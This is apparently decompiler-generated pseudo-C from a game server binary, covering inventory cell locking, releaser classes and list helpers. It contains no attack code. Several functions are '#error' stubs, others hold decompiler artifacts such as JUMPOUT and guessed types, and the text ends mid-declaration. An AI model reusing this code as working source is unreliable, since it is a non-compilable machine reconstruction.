(004769B0) -------------------------------------------------------- #error "4769B0: undefined or illegal type '#593' (funcsize=7)" //----- (004769D0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLock::InventoryCellLock(InventoryLocking::InventoryCellLock *this) { this->vfptr = (InventoryLocking::InventoryCellLockVtbl *)InventoryLocking::InventoryCellLock::_vftable_; } // 645378: using guessed type int (__stdcall *InventoryLocking__InventoryCellLock___vftable_[2])(int ele, __int16 handle); //----- (004769E0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLock::_InventoryCellLock(InventoryLocking::InventoryCellLock *this) { this->vfptr = (InventoryLocking::InventoryCellLockVtbl *)InventoryLocking::InventoryCellLock::_vftable_; } // 645378: using guessed type int (__stdcall *InventoryLocking__InventoryCellLock___vftable_[2])(int ele, __int16 handle); //----- (004769F0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItemSimple(InventoryLocking::InventoryCellLockList *this, ItemBoxIterator *pBoxIterraotr) { ItemBoxIterator *v2; // edi@1 InventoryLocking::InventoryCellLockList *v3; // esi@1 unsigned __int8 v4; // al@2 unsigned __int16 v5; // bx@2 InventoryLocking::InventoryCellLockVtbl *v6; // ebp@2 ItemInventoryCell *v7; // eax@2 v2 = pBoxIterraotr; v3 = this; if ( pBoxIterraotr ) { v4 = ((int (*)(void))pBoxIterraotr->ibi_itembag->vfptr->ib_GetInvenType)(); v5 = v3->baseclass_0.icl_Index; v6 = v3->baseclass_0.vfptr; LOWORD(pBoxIterraotr) = v2->ibi_finger & 0x3FF | (v4 << 10); v7 = ItemBoxIterator::ibi_GetCell(v2); v6->icl_ClearItem( (InventoryLocking::InventoryCellLock *)v3, v5, v7, (ITEM_INVEN *)&pBoxIterraotr, (ITEM_INVEN *)&pBoxIterraotr); } } //----- (00476A50) -------------------------------------------------------- #error "476A50: undefined or illegal type '#734' (funcsize=3)" //----- (00476A60) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_LinkInfo::InvenCellReleaser_LinkInfo(InventoryLocking::InvenCellReleaser_LinkInfo *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_LinkInfo::_vftable_; } // 6453E8: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_LinkInfo___vftable_)(int, int lc, char inchest); //----- (00476A70) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLock::icl_ItemInfoZoneRng(InventoryLocking::InventoryCellLock *this, unsigned __int16 index, SHINE_INVEN_SLOT_INFO from, SHINE_INVEN_SLOT_INFO to, ItemTotalInformation changeiteminfo) { unsigned int v5; // [sp+0h] [bp-4h]@1 v5 = (unsigned int)&v5 ^ __security_cookie; __security_check_cookie((unsigned int)&v5 ^ (unsigned int)&v5 ^ __security_cookie); } //----- (00476A90) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CoinChange::InvenCellReleaser_CoinChange(InventoryLocking::InvenCellReleaser_CoinChange *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CoinChange::_vftable_; } // 6453F8: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CoinChange___vftable_)(int, int lc, char inchest); //----- (00476AA0) -------------------------------------------------------- char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Home(InventoryLocking::UnlockedInventoryIterator *this) { InventoryLocking::UnlockedInventoryIterator *v1; // esi@1 ItemBoxIterator *v2; // edi@1 ItemBoxIteratorVtbl *v3; // eax@1 char result; // al@5 v1 = this; v2 = this->uii_Iterator; v3 = this->uii_Iterator->vfptr; this->uii_Iterator->ibi_finger = 0; if ( (unsigned __int8)v3->ibi_isvalid(v2) || ItemBoxIterator::ibi_Next(v2) ) { while ( (unsigned __int8)((int (__stdcall *)(_DWORD, _DWORD))v1->uii_LockList->vfptr->icl_IsLocked)( v1->uii_InvenType, v1->uii_Iterator->ibi_finger) ) { if ( !ItemBoxIterator::ibi_Next(v1->uii_Iterator) ) goto LABEL_5; } result = 1; } else { LABEL_5: result = 0; } return result; } //----- (00476AF0) -------------------------------------------------------- char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Next_OnlyCellLock(InventoryLocking::UnlockedInventoryIterator *this) { InventoryLocking::UnlockedInventoryIterator *v1; // esi@1 char result; // al@4 v1 = this; if ( ItemBoxIterator::ibi_Next(this->uii_Iterator) ) { while ( (unsigned __int8)(**(int (__stdcall ***)(_DWORD, _DWORD))v1->uii_LockList)( v1->uii_InvenType, v1->uii_Iterator->ibi_finger) ) { if ( !ItemBoxIterator::ibi_Next(v1->uii_Iterator) ) goto LABEL_4; } result = 1; } else { LABEL_4: result = 0; } return result; } //----- (00476B30) -------------------------------------------------------- char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Next(InventoryLocking::UnlockedInventoryIterator *this) { InventoryLocking::UnlockedInventoryIterator *v1; // esi@1 char result; // al@4 v1 = this; if ( ItemBoxIterator::ibi_Next(this->uii_Iterator) ) { while ( (unsigned __int8)((int (__stdcall *)(_DWORD, _DWORD))v1->uii_LockList->vfptr->icl_IsLocked)( v1->uii_InvenType, v1->uii_Iterator->ibi_finger) ) { if ( !ItemBoxIterator::ibi_Next(v1->uii_Iterator) ) goto LABEL_4; } result = 1; } else { LABEL_4: result = 0; } return result; } //----- (00476B70) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, InventoryLocking::LockedCell *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0xA0u); return 1; } // 476B86: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00476BB0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, InventoryLocking::LockedCell *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xA0u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00476C00) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, InventoryLocking::LockedCell *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xA0u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00476C50) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ItemLotAnalyser::LotChanger *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ItemLotAnalyser::LotChanger *v5; // esi@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; *(_DWORD *)&ele->item = *(_DWORD *)&v5->item; ele->delta = v5->delta; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00476CA0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Min(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00476CC0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_UnEquipInfo::InvenCellReleaser_UnEquipInfo(InventoryLocking::InvenCellReleaser_UnEquipInfo *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_UnEquipInfo::_vftable_; } // 645440: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_UnEquipInfo___vftable_)(int, int lc, char inchest); //----- (00476CD0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo(InventoryLocking::InvenCellReleaser_UnEquipInfo *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser::_vftable_; } // 645268: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser___vftable_)(int, int lc, char inchest); //----- (00476CE0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser::icr_Apply(InventoryLocking::InvenCellReleaser *this, #593 *a2, InventoryLocking::LockedCell *lc, char inchest) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Apply"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser::icr_Apply"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Apply"); } //----- (00476D30) -------------------------------------------------------- #error "476D30: undefined or illegal type '#593' (funcsize=66)" //----- (00476E30) -------------------------------------------------------- #error "476E30: undefined or illegal type '#593' (funcsize=60)" //----- (00476F20) -------------------------------------------------------- #error "476F20: undefined or illegal type '#593' (funcsize=37)" //----- (00476FD0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply(InventoryLocking::InvenCellReleaser_ItemUse *this, #593 *a2, InventoryLocking::LockedCell *lc, char inchest) { __int16 v4; // cx@1 UseEffect::UIE_Functions *v5; // edx@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = lc->lc_Argument.cenchange.plusminus; if ( v4 < useditemeffect.uie_MaxItemID ) v5 = &useditemeffect.uie_FuncStruct[(unsigned __int16)v4]; else v5 = useditemeffect.uie_FuncStruct; (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD))(**(_DWORD **)&lc->gap20[96] + 12))(a2, &lc->lc_Argument, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply"); } //----- (004770A0) -------------------------------------------------------- #error "4770A0: undefined or illegal type '#593' (funcsize=30)" //----- (00477140) -------------------------------------------------------- #error "477140: undefined or illegal type '#593' (funcsize=30)" //----- (004771E0) -------------------------------------------------------- #error "4771E0: undefined or illegal type '#593' (funcsize=222)" //----- (004774F0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser::icr_Reserv(InventoryLocking::InvenCellReleaser *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Reserv"); } //----- (00477540) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv(InventoryLocking::InvenCellReleaser_CenChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; reserv->cen += LODWORD(lc->lc_Argument.cenchange.cen) * lc->lc_Argument.cenchange.plusminus; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv"); } //----- (004775A0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv(InventoryLocking::InvenCellReleaser_FameChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; reserv->fame += LODWORD(lc->lc_Argument.cenchange.cen) * WORD2(lc->lc_Argument.cenchange.cen); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv"); } //----- (00477610) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv(InventoryLocking::InvenCellReleaser_PointStone *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !LODWORD(lc->lc_Argument.cenchange.cen) ) reserv->hpstone += HIDWORD(lc->lc_Argument.cenchange.cen); if ( LODWORD(lc->lc_Argument.cenchange.cen) == 1 ) reserv->spstone += HIDWORD(lc->lc_Argument.cenchange.cen); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv"); } //----- (00477680) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::_InventoryCellLockList(InventoryLocking::InventoryCellLockList *this) { InventoryLocking::InventoryCellLockList *v1; // esi@1 void *v2; // eax@1 v1 = this; this->baseclass_0.vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLockList::_vftable_; v2 = this->icll_List.l_Array; this->icll_List.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); v1->baseclass_0.vfptr = (InventoryLocking::InventoryCellLockVtbl *)InventoryLocking::InventoryCellLock::_vftable_; } // 645378: using guessed type int (__stdcall *InventoryLocking__InventoryCellLock___vftable_[2])(int ele, __int16 handle); // 645408: using guessed type int (__stdcall *List_InventoryLocking__LockedCell____vftable_[3])(__int16 hnd); // 6458F8: using guessed type int (__stdcall *InventoryLocking__InventoryCellLockList___vftable_)(int type, int slot); //----- (004776B0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_LockInventory(InventoryLocking::InventoryCellLockList *this, char lck) { this->icll_AllLock = lck; } //----- (004776C0) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven) { InventoryLocking::InventoryCellLockList *v2; // esi@1 char v3; // al@1 char v4; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.vfptr->icl_IsLocked( (InventoryLocking::InventoryCellLock *)v2, (unsigned int)inven->Inven >> 10, inven->Inven & 0x3FF); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return v4; } //----- (00477770) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven, unsigned __int16 ignore) { InventoryLocking::InventoryCellLockList *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*((int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))&v3->baseclass_0.vfptr->icl_IsLockedOnlyCell + 2))( v3, (unsigned int)inven->Inven >> 10, inven->Inven & 0x3FF, ignore); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return v5; } //----- (00477830) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_OnlyLock(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int inventype, int invenslot) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // cx@6 int v8; // ecx@6 __int16 v9; // dx@6 void *v10; // [sp+14h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_OnlyLock"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_OnlyLock"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { *(_WORD *)v6 = (_WORD)v10; v7 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; *(_WORD *)(v6 + 8) = (Index << 10) | v7 & 0x3FF; v8 = (Index << 10) | inventype & 0x3FF; v9 = v8 ^ *(_WORD *)(v6 + 8); *(_WORD *)(v6 + 10) = v8; *(_WORD *)(v6 + 8) ^= v9 & 0x3FF; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_ClearItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_OnlyLock"); } // 6AFE08: using guessed type int (__stdcall **InventoryLocking__InventoryCellLockList__icll_Releaser_None)(int, int lc, char inchest); //----- (00477940) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v5; // esi@1 int v6; // eax@1 int v7; // eax@2 __int16 v8; // cx@6 void *v9; // [sp+14h] [bp+0h]@6 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ClearItem"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_ClearItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = v5->icll_List.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = ((int (__cdecl *)(int))v5->icll_List.vfptr->l_AllocZ)(v6); if ( v7 ) { *(_WORD *)v7 = (_WORD)v9; v8 = *(_WORD *)&cell->iic_Item.iti_registnum.binary.gap0[0] >> 10; if ( v8 == 4 ) { *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear; } else { if ( v8 == 3 || v8 == 13 || v8 == 14 || v8 == 16 ) *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear; else *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear; } if ( !(cell->iic_Item.iti_registnum.binary.gap0[1] & 0xFC) ) *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear; *(_WORD *)(v7 + 8) = *(_WORD *)&cell->iic_Item.iti_registnum.binary.gap0[0]; *(_WORD *)(v7 + 10) = cur->Inven; *(_DWORD *)(v7 + 16) = Index; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_ClearItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ClearItem"); } //----- (00477A80) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 __int16 v9; // cx@6 bool v10; // zf@9 InventoryLocking::InvenCellReleaser_CellChange *v11; // ecx@9 unsigned __int16 v12; // dx@15 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreItem"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__stdcall *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = Index; v9 = cur->Inven >> 10; if ( v9 == 3 || v9 == 13 || v9 == 14 || (v10 = v9 == 16, v11 = &InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange, v10) ) v11 = (InventoryLocking::InvenCellReleaser_CellChange *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc; *(_DWORD *)(v8 + 4) = v11; if ( (cur->Inven & 0xFC00) == 4096 ) *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange; if ( !(HIBYTE(cur->Inven) & 0xFC) ) *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange; *(_WORD *)(v8 + 8) = cur->Inven; v12 = exchange->Inven; *(_DWORD *)(v8 + 16) = cell; *(_WORD *)(v8 + 10) = v12; memcpy((void *)(v8 + 20), iti, 0x6Fu); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreItem"); } //----- (00477BD0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreSmallItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ITEM_INVEN *to, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__stdcall *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = Index; *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall; *(_WORD *)(v8 + 8) = cur->Inven; *(_WORD *)(v8 + 10) = exchange->Inven; *(_WORD *)(v8 + 16) = to->Inven; memcpy((void *)(v8 + 18), iti, 0x6Fu); } else { AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem"); } //----- (00477CE0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFurniture(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFurniture"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreFurniture"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__stdcall *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = Index; *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc; *(_WORD *)(v8 + 8) = cur->Inven; *(_WORD *)(v8 + 10) = exchange->Inven; *(_DWORD *)(v8 + 16) = cell; memcpy((void *)(v8 + 20), iti, 0x6Fu); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_ClearItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFurniture"); } //----- (00477DF0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreMoney(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned __int64 money, int sign) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // dx@6 __int16 v8; // cx@6 void *v9; // [sp+14h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreMoney"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreMoney"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { v7 = *(_WORD *)(v6 + 10); *(_WORD *)v6 = (_WORD)v9; v8 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange; *(_WORD *)(v6 + 10) = v7 & 0x3FF | 0x4400; *(_WORD *)(v6 + 8) = v8 & 0x3FF | 0x4400; *(_DWORD *)(v6 + 16) = Index; *(_DWORD *)(v6 + 20) = money; *(_WORD *)(v6 + 24) = WORD2(money); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreMoney : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreMoney"); } //----- (00477F10) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFame(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned int fame, int sign) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int 